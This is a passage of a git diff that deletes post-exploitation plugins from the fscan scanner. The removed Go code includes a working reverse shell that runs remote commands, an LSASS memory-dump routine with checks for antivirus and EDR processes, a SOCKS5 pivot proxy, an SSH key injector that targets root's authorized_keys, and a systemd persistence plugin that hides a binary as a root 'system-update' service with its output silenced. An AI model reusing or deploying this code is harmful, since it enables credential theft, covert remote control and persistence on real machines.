MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory | - MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs - - ret, _, _ := miniDumpWriteDump.Call( - processHandle, - uintptr(pid), - fileHandle, - uintptr(dumpType), - 0, 0, 0, - ) - - if ret == 0 { - // 尝试使用较小的转储类型作为后备 - fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData - - ret, _, _ = miniDumpWriteDump.Call( - processHandle, - uintptr(pid), - fileHandle, - uintptr(fallbackDumpType), - 0, 0, 0, - ) - - if ret == 0 { - //nolint:errorlint // Windows LastError不应该wrapped - return fmt.Errorf(i18n.GetText("minidump_write_dump_failed")+" (LastError: %d)", windows.GetLastError()) - } - } - - return nil -} - -// openProcess 打开进程 -func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) { - proc, err := pm.kernel32.FindProc("OpenProcess") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "OpenProcess"), err) - } - - handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid)) - if handle == 0 { - lastError := windows.GetLastError() - //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf(i18n.GetText("minidump_open_process_failed")+": %v (LastError: %d)", callErr, lastError) - } - return handle, nil -} - -// createDumpFile 创建转储文件 -func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) { - pathPtr, err := syscall.UTF16PtrFromString(path) - if err != nil { - return 0, err - } - - createFile, err := pm.kernel32.FindProc("CreateFileW") - if err != nil { - return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateFileW"), err) - } - - handle, _, callErr := createFile.Call( - uintptr(unsafe.Pointer(pathPtr)), - syscall.GENERIC_WRITE, - 0, 0, - syscall.CREATE_ALWAYS, - syscall.FILE_ATTRIBUTE_NORMAL, - 0, - ) - - if handle == INVALID_HANDLE_VALUE { - lastError := windows.GetLastError() - //nolint:errorlint // Windows LastError不应该wrapped - return 0, fmt.Errorf(i18n.GetText("file_create_failed")+": %v (LastError: %d)", callErr, lastError) - } - - return handle, nil -} - -// closeHandle 关闭句柄 -func (pm *ProcessManager) closeHandle(handle uintptr) { - if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil { - _, _, _ = proc.Call(handle) - } -} - -// isAVBlocking 检测是否有杀软会拦截 LSASS dump -func (p *MiniDumpPlugin) isAVBlocking() bool { - avProcesses := []string{ - "MsMpEng.exe", "MsSense.exe", - "CylanceSvc.exe", - "csfalconservice.exe", - "SentinelServiceHost.exe", "SentinelAgent.exe", - "xagt.exe", - "elastic-endpoint.exe", - "cb.exe", "CbDefense.exe", - } - - snapshot, err := p.kernel32.FindProc("CreateToolhelp32Snapshot") - if err != nil { - return false - } - handle, _, _ := snapshot.Call(TH32CS_SNAPPROCESS, 0) - if handle == INVALID_HANDLE_VALUE { - return false - } - defer p.kernel32.MustFindProc("CloseHandle").Call(handle) - - first, _ := p.kernel32.FindProc("Process32FirstW") - next, _ := p.kernel32.FindProc("Process32NextW") - - var entry PROCESSENTRY32 - entry.dwSize = uint32(unsafe.Sizeof(entry)) - - ret, _, _ := first.Call(handle, uintptr(unsafe.Pointer(&entry))) - for ret != 0 { - name := syscall.UTF16ToString(entry.szExeFile[:]) - for _, av := range avProcesses { - if strings.EqualFold(name, av) { - return true - } - } - ret, _, _ = next.Call(handle, uintptr(unsafe.Pointer(&entry))) - } - return false -} - -// 注册插件 -func init() { - RegisterLocalPlugin("minidump", func() Plugin { - return NewMiniDumpPlugin() - }) -} diff --git a/plugins/local/reverseshell.go b/plugins/local/reverseshell.go deleted file mode 100644 index 30280178..00000000 --- a/plugins/local/reverseshell.go +++ /dev/null @@ -1,204 +0,0 @@ -//go:build (plugin_reverseshell || !plugin_selective) && !no_local - -package local - -import ( - "bufio" - "context" - "errors" - "fmt" - "io" - "net" - "os" - "os/exec" - "runtime" - "strconv" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// ReverseShellPlugin 反向Shell插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现反弹Shell功能 -// - 保持原有功能逻辑 -type ReverseShellPlugin struct { - plugins.BasePlugin -} - -// NewReverseShellPlugin 创建反弹Shell插件 -func NewReverseShellPlugin() *ReverseShellPlugin { - return &ReverseShellPlugin{ - BasePlugin: plugins.NewBasePlugin("reverseshell"), - } -} - -// GetName 实现Plugin接口 - -// Scan 执行反弹Shell - 直接实现 -func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - state := session.State - var output strings.Builder - - // 从config获取配置 - target := config.LocalExploit.ReverseShellTarget - if target == "" { - target = "127.0.0.1:4444" - } - - // 解析目标地址 - host, portStr, err := net.SplitHostPort(target) - if err != nil { - host = target - portStr = "4444" - } - - port, err := strconv.Atoi(portStr) - if err != nil { - port = 4444 - } - - output.WriteString(i18n.GetText("reverseshell_header") + "\n") - output.WriteString(i18n.Tr("local_target", target) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - // 启动反弹Shell - err = p.startNativeReverseShell(ctx, host, port, state, session) - if err != nil { - output.WriteString(i18n.Tr("reverseshell_error", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(i18n.GetText("reverseshell_done") + "\n") - session.LogSuccess(i18n.Tr("reverseshell_complete", target)) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// startNativeReverseShell 启动Go原生反弹Shell -func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State, session *common.ScanSession) error { - // 连接到目标 - conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port))) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err) - } - defer func() { _ = conn.Close() }() - - session.LogSuccess(i18n.Tr("reverseshell_connected", host, port)) - - // 设置反弹Shell为活跃状态 - state.SetReverseShellActive(true) - defer func() { - state.SetReverseShellActive(false) - }() - - // 发送欢迎消息 - welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH) - _, _ = conn.Write([]byte(welcomeMsg)) - _, _ = conn.Write([]byte("Type 'exit' to quit\n")) - - // 创建读取器 - reader := bufio.NewReader(conn) - - for { - // 检查上下文取消 - select { - case <-ctx.Done(): - _, _ = conn.Write([]byte("Shell session terminated by context\n")) - return ctx.Err() - default: - } - - // 发送提示符 - prompt := fmt.Sprintf("%s> ", getCurrentDir()) - _, _ = conn.Write([]byte(prompt)) - - // 设置读取超时,以便能响应 ctx 取消 - _ = conn.SetReadDeadline(time.Now().Add(1 * time.Second)) - - // 读取命令 - cmdLine, err := reader.ReadString('\n') - if err != nil { - if err == io.EOF { - return nil - } - // 超时继续循环检查 ctx - var netErr net.Error - if errors.As(err, &netErr) && netErr.Timeout() { - continue - } - return fmt.Errorf("%s: %w", i18n.GetText("command_read_failed"), err) - } - - // 清理命令 - cmdLine = strings.TrimSpace(cmdLine) - if cmdLine == "" { - continue - } - - // 检查退出命令 - if cmdLine == "exit" { - _, _ = conn.Write([]byte("Goodbye!\n")) - return nil - } - - // 执行命令 - result := p.executeCommand(cmdLine) - - // 发送结果 - _, _ = conn.Write([]byte(result + "\n")) - } -} - -// executeCommand 执行系统命令 -func (p *ReverseShellPlugin) executeCommand(cmdLine string) string { - var cmd *exec.Cmd - - // 根据操作系统选择命令解释器 - switch runtime.GOOS { - case "windows": - cmd = exec.Command("cmd", "/C", cmdLine) - case "linux", "darwin": - cmd = exec.Command("bash", "-c", cmdLine) - default: - return i18n.Tr("unsupported_os", runtime.GOOS) - } - - // 执行命令并获取输出 - output, err := cmd.CombinedOutput() - if err != nil { - return i18n.Tr("command_error_with_output", err, string(output)) - } - - return string(output) -} - -// getCurrentDir 获取当前目录 -func getCurrentDir() string { - dir, err := os.Getwd() - if err != nil { - return "unknown" - } - return dir -} - -// 注册插件 -func init() { - RegisterLocalPlugin("reverseshell", func() Plugin { - return NewReverseShellPlugin() - }) -} diff --git a/plugins/local/socks5proxy.go b/plugins/local/socks5proxy.go deleted file mode 100644 index f47791d2..00000000 --- a/plugins/local/socks5proxy.go +++ /dev/null @@ -1,328 +0,0 @@ -//go:build (plugin_socks5proxy || !plugin_selective) && !no_local - -package local - -import ( - "context" - "errors" - "fmt" - "io" - "net" - "runtime" - "strconv" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// Socks5ProxyPlugin SOCKS5代理插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现SOCKS5代理功能 -// - 保持原有功能逻辑 -type Socks5ProxyPlugin struct { - plugins.BasePlugin - listener net.Listener -} - -// NewSocks5ProxyPlugin 创建SOCKS5代理插件 -func NewSocks5ProxyPlugin() *Socks5ProxyPlugin { - return &Socks5ProxyPlugin{ - BasePlugin: plugins.NewBasePlugin("socks5proxy"), - } -} - -// Scan 执行SOCKS5代理扫描 - 直接实现 -func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - state := session.State - var output strings.Builder - - // 从config获取配置 - port := config.Socks5ProxyPort - if port <= 0 { - port = 1080 // 默认端口 - } - - output.WriteString(i18n.GetText("socks5_header") + "\n") - output.WriteString(i18n.Tr("local_listen_port", port) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - session.LogInfo(i18n.Tr("socks5_starting", port)) - - // 启动SOCKS5代理服务器 - err := p.startSocks5Server(ctx, port, state, session) - if err != nil { - output.WriteString(i18n.Tr("socks5_server_error", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(i18n.GetText("socks5_done") + "\n") - session.LogSuccess(i18n.Tr("socks5_complete", port)) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// startSocks5Server 启动SOCKS5代理服务器 - 核心实现 -func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, state *common.State, session *common.ScanSession) error { - // 监听指定端口 - listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) - if err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err) - } - defer func() { _ = listener.Close() }() - - p.listener = listener - session.LogSuccess(i18n.Tr("socks5_started", port)) - - // 设置SOCKS5代理为活跃状态,告诉主程序保持运行 - state.SetSocks5ProxyActive(true) - defer func() { - // 确保退出时清除活跃状态 - state.SetSocks5ProxyActive(false) - }() - - // 主循环处理连接 - for { - select { - case <-ctx.Done(): - session.LogInfo(i18n.GetText("socks5_cancelled")) - return ctx.Err() - default: - } - - // 设置监听器超时,以便能响应上下文取消 - if tcpListener, ok := listener.(*net.TCPListener); ok { - _ = tcpListener.SetDeadline(time.Now().Add(1 * time.Second)) - } - - conn, err := listener.Accept() - if err != nil { - // 检查是否是超时错误 - var netErr net.Error - if errors.As(err, &netErr) && netErr.Timeout() { - continue // 超时继续循环 - } - session.LogError(i18n.Tr("socks5_accept_failed", err)) - continue - } - - // 并发处理客户端连接 - go p.handleClient(ctx, conn, session) - } -} - -// handleClient 处理客户端连接 -func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) { - defer func() { _ = clientConn.Close() }() - - // ctx 取消时关闭连接,解除阻塞的 IO - go func() { - <-ctx.Done() - _ = clientConn.Close() - }() - - // SOCKS5握手阶段 - if err := p.handleSocks5Handshake(clientConn); err != nil { - if ctx.Err() == nil { - session.LogError(i18n.Tr("socks5_handshake_failed", err)) - } - return - } - - // SOCKS5请求阶段 - targetConn, _, err := p.handleSocks5Request(clientConn, session) - if err != nil { - if ctx.Err() == nil { - session.LogError(i18n.Tr("socks5_request_failed", err)) - } - return - } - defer func() { _ = targetConn.Close() }() - - session.LogSuccess(i18n.GetText("socks5_connected")) - - // 双向数据转发 - p.relayData(clientConn, targetConn) -} - -// handleSocks5Handshake 处理SOCKS5握手 -func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error { - header := make([]byte, 2) - if _, err := io.ReadFull(conn, header); err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err) - } - - if header[0] != 0x05 || header[1] == 0 { - return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version")) - } - methods := make([]byte, int(header[1])) - if _, err := io.ReadFull(conn, methods); err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err) - } - if !containsByte(methods, 0x00) { - _, _ = conn.Write([]byte{0x05, 0xff}) - return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version")) - } - - // 发送握手响应(无认证) - response := []byte{0x05, 0x00} // 版本5,无认证 - if _, err := conn.Write(response); err != nil { - return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_write_failed"), err) - } - - return nil -} - -// handleSocks5Request 处理SOCKS5连接请求 -func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *common.ScanSession) (net.Conn, int, error) { - header := make([]byte, 4) - if _, err := io.ReadFull(clientConn, header); err != nil { - return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_request_read_failed"), err) - } - - if header[0] != 0x05 || header[2] != 0x00 { - return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request")) - } - - cmd := header[1] - if cmd != 0x01 { // 只支持CONNECT命令 - // 发送不支持的命令响应 - response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} - _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_command")+": %d", cmd) - } - - // 解析目标地址 - addrType := header[3] - var targetHost string - var targetPort int - - switch addrType { - case 0x01: // IPv4 - addr := make([]byte, 6) - if _, err := io.ReadFull(clientConn, addr); err != nil { - return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv4_address_invalid")) - } - targetHost = fmt.Sprintf("%d.%d.%d.%d", addr[0], addr[1], addr[2], addr[3]) - targetPort = int(addr[4])<<8 + int(addr[5]) - case 0x03: // 域名 - lenBuf := make([]byte, 1) - if _, err := io.ReadFull(clientConn, lenBuf); err != nil { - return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_format_invalid")) - } - domainLen := int(lenBuf[0]) - if domainLen == 0 { - return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid")) - } - addr := make([]byte, domainLen+2) - if _, err := io.ReadFull(clientConn, addr); err != nil { - return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid")) - } - targetHost = string(addr[:domainLen]) - targetPort = int(addr[domainLen])<<8 + int(addr[domainLen+1]) - case 0x04: // IPv6 - addr := make([]byte, 18) - if _, err := io.ReadFull(clientConn, addr); err != nil { - return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv6_address_invalid")) - } - // IPv6地址解析(简化实现) - targetHost = net.IP(addr[:16]).String() - targetPort = int(addr[16])<<8 + int(addr[17]) - default: - // 发送不支持的地址类型响应 - response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} - _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_address_type")+": %d", addrType) - } - if targetPort == 0 { - return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request")) - } - - // 连接目标服务器 - targetAddr := net.JoinHostPort(targetHost, strconv.Itoa(int(targetPort))) - targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second) - if err != nil { - // 发送连接失败响应 - response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} - _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_target_connect_failed"), err) - } - - // 获取本地监听端口(从targetConn获取) - localAddr, ok := targetConn.LocalAddr().(*net.TCPAddr) - if !ok { - return nil, 0, fmt.Errorf("%s", i18n.GetText("local_address_unavailable")) - } - localPort := localAddr.Port - - // 发送成功响应 - response := make([]byte, 10) - response[0] = 0x05 // SOCKS版本 - response[1] = 0x00 // 成功 - response[2] = 0x00 // 保留 - response[3] = 0x01 // IPv4地址类型 - // 绑定地址和端口(使用127.0.0.1:localPort) - copy(response[4:8], []byte{127, 0, 0, 1}) - response[8] = byte(localPort >> 8) - response[9] = byte(localPort & 0xff) - - _, err = clientConn.Write(response) - if err != nil { - _ = targetConn.Close() - return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_success_response_failed"), err) - } - - session.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr)) - return targetConn, localPort, nil -} - -func containsByte(values []byte, target byte) bool { - for _, value := range values { - if value == target { - return true - } - } - return false -} - -// relayData 双向数据转发 -func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) { - done := make(chan struct{}, 2) - - // 客户端到目标服务器 - go func() { - defer func() { done <- struct{}{} }() - _, _ = io.Copy(targetConn, clientConn) - _ = targetConn.Close() - }() - - // 目标服务器到客户端 - go func() { - defer func() { done <- struct{}{} }() - _, _ = io.Copy(clientConn, targetConn) - _ = clientConn.Close() - }() - - // 等待其中一个方向完成 - <-done -} - -// 注册插件 -func init() { - RegisterLocalPlugin("socks5proxy", func() Plugin { - return NewSocks5ProxyPlugin() - }) -} diff --git a/plugins/local/socks5proxy_test.go b/plugins/local/socks5proxy_test.go deleted file mode 100644 index e08c947f..00000000 --- a/plugins/local/socks5proxy_test.go +++ /dev/null @@ -1,94 +0,0 @@ -//go:build (plugin_socks5proxy || !plugin_selective) && !no_local - -package local - -import ( - "bytes" - "io" - "net" - "testing" - "time" -) - -type socksTestConn struct { - r bytes.Reader - w bytes.Buffer -} - -func newSocksTestConn(data []byte) *socksTestConn { - return &socksTestConn{r: *bytes.NewReader(data)} -} - -func (c *socksTestConn) Read(p []byte) (int, error) { - n, err := c.r.Read(p) - if err == io.EOF && n > 0 { - return n, nil - } - return n, err -} - -func (c *socksTestConn) Write(p []byte) (int, error) { return c.w.Write(p) } -func (c *socksTestConn) Close() error { return nil } -func (c *socksTestConn) LocalAddr() net.Addr { return nil } -func (c *socksTestConn) RemoteAddr() net.Addr { return nil } -func (c *socksTestConn) SetDeadline(time.Time) error { return nil } -func (c *socksTestConn) SetReadDeadline(time.Time) error { - return nil -} -func (c *socksTestConn) SetWriteDeadline(time.Time) error { - return nil -} - -func TestSocks5HandshakeValidation(t *testing.T) { - p := NewSocks5ProxyPlugin() - - t.Run("truncated methods", func(t *testing.T) { - conn := newSocksTestConn([]byte{0x05, 0x02, 0x00}) - if err := p.handleSocks5Handshake(conn); err == nil { - t.Fatal("handleSocks5Handshake() error = nil, want truncated method list error") - } - }) - - t.Run("no no-auth method", func(t *testing.T) { - conn := newSocksTestConn([]byte{0x05, 0x01, 0x02}) - if err := p.handleSocks5Handshake(conn); err == nil { - t.Fatal("handleSocks5Handshake() error = nil, want unsupported method error") - } - if got := conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0xff}) { - t.Fatalf("handshake response = % x, want 05 ff", got) - } - }) - - t.Run("accepts no-auth", func(t *testing.T) { - conn := newSocksTestConn([]byte{0x05, 0x02, 0x02, 0x00}) - if err := p.handleSocks5Handshake(conn); err != nil { - t.Fatalf("handleSocks5Handshake() error = %v", err) - } - if got := conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0x00}) { - t.Fatalf("handshake response = % x, want 05 00", got) - } - }) -} - -func TestSocks5RequestRejectsMalformedInputBeforeDial(t *testing.T) { - p := NewSocks5ProxyPlugin() - - tests := []struct { - name string - req []byte - }{ - {name: "bad reserved byte", req: []byte{0x05, 0x01, 0x01, 0x01}}, - {name: "empty domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x00}}, - {name: "truncated domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x04, 't', 'e'}}, - {name: "zero ipv4 port", req: []byte{0x05, 0x01, 0x00, 0x01, 127, 0, 0, 1, 0, 0}}, - {name: "truncated ipv6", req: []byte{0x05, 0x01, 0x00, 0x04, 0x20, 0x01}}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if _, _, err := p.handleSocks5Request(newSocksTestConn(tt.req), nil); err == nil { - t.Fatal("handleSocks5Request() error = nil, want malformed request error") - } - }) - } -} diff --git a/plugins/local/sshkey.go b/plugins/local/sshkey.go deleted file mode 100644 index 4dd744af..00000000 --- a/plugins/local/sshkey.go +++ /dev/null @@ -1,138 +0,0 @@ -//go:build (plugin_sshkey || !plugin_selective) && !windows && !no_local - -package local - -import ( - "context" - "crypto/ed25519" - "crypto/rand" - "encoding/pem" - "fmt" - "os" - "os/user" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" - "golang.org/x/crypto/ssh" -) - -type SSHKeyPlugin struct { - plugins.BasePlugin -} - -func NewSSHKeyPlugin() *SSHKeyPlugin { - return &SSHKeyPlugin{BasePlugin: plugins.NewBasePlugin("sshkey")} -} - -func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - var output strings.Builder - var successCount int - - targets := p.getTargetUsers() - - for _, u := range targets { - sshDir := filepath.Join(u.HomeDir, ".ssh") - authFile := filepath.Join(sshDir, "authorized_keys") - - if err := os.MkdirAll(sshDir, 0700); err != nil { - output.WriteString(i18n.Tr("sshkey_mkdir_failed", u.Username, err) + "\n") - continue - } - - pubKey, privKey, err := p.generateKeyPair() - if err != nil { - output.WriteString(i18n.Tr("sshkey_generate_failed", u.Username, err) + "\n") - continue - } - - // 追加公钥到 authorized_keys - existing, err := os.ReadFile(authFile) - if err != nil && !os.IsNotExist(err) { - output.WriteString(i18n.Tr("sshkey_authorized_read_failed", u.Username, err) + "\n") - continue - } - if strings.Contains(string(existing), pubKey) { - output.WriteString(i18n.Tr("sshkey_public_exists", u.Username) + "\n") - continue - } - - entry := pubKey + "\n" - f, err := os.OpenFile(authFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) - if err != nil { - output.WriteString(i18n.Tr("sshkey_authorized_write_failed", u.Username, err) + "\n") - continue - } - _, err = f.WriteString(entry) - f.Close() - if err != nil { - continue - } - - // 保存私钥到当前目录 - keyFile := fmt.Sprintf("id_%s_%s", u.Username, "ed25519") - if err := os.WriteFile(keyFile, []byte(privKey), 0600); err != nil { - output.WriteString(i18n.Tr("sshkey_private_save_failed", u.Username, err) + "\n") - continue - } - - output.WriteString(i18n.Tr("sshkey_injected", u.Username, authFile, keyFile) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("sshkey_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func (p *SSHKeyPlugin) getTargetUsers() []*user.User { - var targets []*user.User - - if u, err := user.Current(); err == nil { - targets = append(targets, u) - } - - // root 权限下额外注入 root 用户 - if os.Getuid() == 0 { - if root, err := user.Lookup("root"); err == nil { - targets = append(targets, root) - } - } - - return targets -} - -func (p *SSHKeyPlugin) generateKeyPair() (pubKeyStr, privKeyStr string, err error) { - pub, priv, err := ed25519.GenerateKey(rand.Reader) - if err != nil { - return "", "", err - } - - sshPub, err := ssh.NewPublicKey(pub) - if err != nil { - return "", "", err - } - pubKeyStr = strings.TrimSpace(string(ssh.MarshalAuthorizedKey(sshPub))) - - privBytes, err := ssh.MarshalPrivateKey(priv, "") - if err != nil { - return "", "", err - } - privKeyStr = string(pem.EncodeToMemory(privBytes)) - - return pubKeyStr, privKeyStr, nil -} - -func init() { - RegisterLocalPlugin("sshkey", func() Plugin { - return NewSSHKeyPlugin() - }) -} diff --git a/plugins/local/systemdservice.go b/plugins/local/systemdservice.go deleted file mode 100644 index 269ea1aa..00000000 --- a/plugins/local/systemdservice.go +++ /dev/null @@ -1,410 +0,0 @@ -//go:build (plugin_systemdservice || !plugin_selective) && linux && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// SystemdServicePlugin 系统服务插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现系统服务持久化功能 -// - 保持原有功能逻辑 -type SystemdServicePlugin struct { - plugins.BasePlugin -} - -// NewSystemdServicePlugin 创建系统服务持久化插件 -func NewSystemdServicePlugin() *SystemdServicePlugin { - return &SystemdServicePlugin{ - BasePlugin: plugins.NewBasePlugin("systemdservice"), - } -} - -// Scan 执行系统服务持久化 - 直接实现 -func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - if runtime.GOOS != "linux" { - output.WriteString(i18n.GetText("systemdservice_linux_only") + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), - } - } - - // 从config获取配置 - targetFile := config.PersistenceTargetFile - if targetFile == "" { - output.WriteString(i18n.GetText("persistence_file_required") + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), - } - } - - // 检查目标文件是否存在 - if _, err := os.Stat(targetFile); os.IsNotExist(err) { - output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 检查systemctl是否可用 - if _, err := exec.LookPath("systemctl"); err != nil { - output.WriteString(i18n.Tr("systemctl_unavailable", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(i18n.GetText("systemdservice_header") + "\n") - output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - var successCount int - - // 1. 复制文件到服务目录 - servicePath, err := p.copyToServicePath(targetFile) - if err != nil { - output.WriteString(i18n.Tr("copy_file_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("file_copied_to", servicePath) + "\n") - successCount++ - } - - // 2. 创建systemd服务文件 - serviceFiles, err := p.createSystemdServices(servicePath) - if err != nil { - output.WriteString(i18n.Tr("systemdservice_create_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("systemdservice_created", strings.Join(serviceFiles, ", ")) + "\n") - successCount++ - } - - // 3. 启用并启动服务 - err = p.enableAndStartServices(serviceFiles) - if err != nil { - output.WriteString(i18n.Tr("systemdservice_start_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("systemdservice_started") + "\n") - successCount++ - } - - // 4. 创建用户级服务 - userServiceFiles, err := p.createUserServices(servicePath) - if err != nil { - output.WriteString(i18n.Tr("systemdservice_user_create_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("systemdservice_user_created", strings.Join(userServiceFiles, ", ")) + "\n") - successCount++ - } - - // 5. 创建定时器服务 - err = p.createTimerServices(servicePath) - if err != nil { - output.WriteString(i18n.Tr("systemdservice_timer_create_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("systemdservice_timer_created") + "\n") - successCount++ - } - - // 输出统计 - output.WriteString("\n" + i18n.Tr("systemdservice_complete_summary", successCount, 5) + "\n") - - if successCount > 0 { - session.LogSuccess(i18n.Tr("systemdservice_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Output: output.String(), - Error: nil, - } -} - -// copyToServicePath 复制文件到服务目录 -func (p *SystemdServicePlugin) copyToServicePath(targetFile string) (string, error) { - // 选择服务目录 - serviceDirs := []string{ - "/usr/local/bin", - "/opt/local", - "/usr/bin", - } - - var targetDir string - for _, dir := range serviceDirs { - if err := os.MkdirAll(dir, 0755); err == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("%s", i18n.GetText("service_dir_create_failed")) - } - - // 生成服务可执行文件名 - basename := filepath.Base(targetFile) - serviceName := strings.TrimSuffix(basename, filepath.Ext(basename)) - if serviceName == "" { - serviceName = "system-service" - } - - targetPath := filepath.Join(targetDir, serviceName) - - // 复制文件 - err := p.copyFile(targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置执行权限 - _ = os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 复制文件内容 -func (p *SystemdServicePlugin) copyFile(src, dst string) error { - sourceData, err := os.ReadFile(src) - if err != nil { - return err - } - return os.WriteFile(dst, sourceData, 0755) -} - -// createSystemdServices 创建systemd服务文件 -func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) { - systemDir := "/etc/systemd/system" - if err := os.MkdirAll(systemDir, 0755); err != nil { - return nil, err - } - - services := []struct { - name string - content string - enable bool - }{ - { - name: "system-update.service", - enable: true, - content: fmt.Sprintf(`[Unit] -Description=System Update Service -After=network.target -Wants=network-online.target - -[Service] -Type=simple -User=root -ExecStart=%s -Restart=always -RestartSec=60 -StandardOutput=null -StandardError=null - -[Install] -WantedBy=multi-user.target -`, execPath), - }, - { - name: "system-monitor.service", - enable: 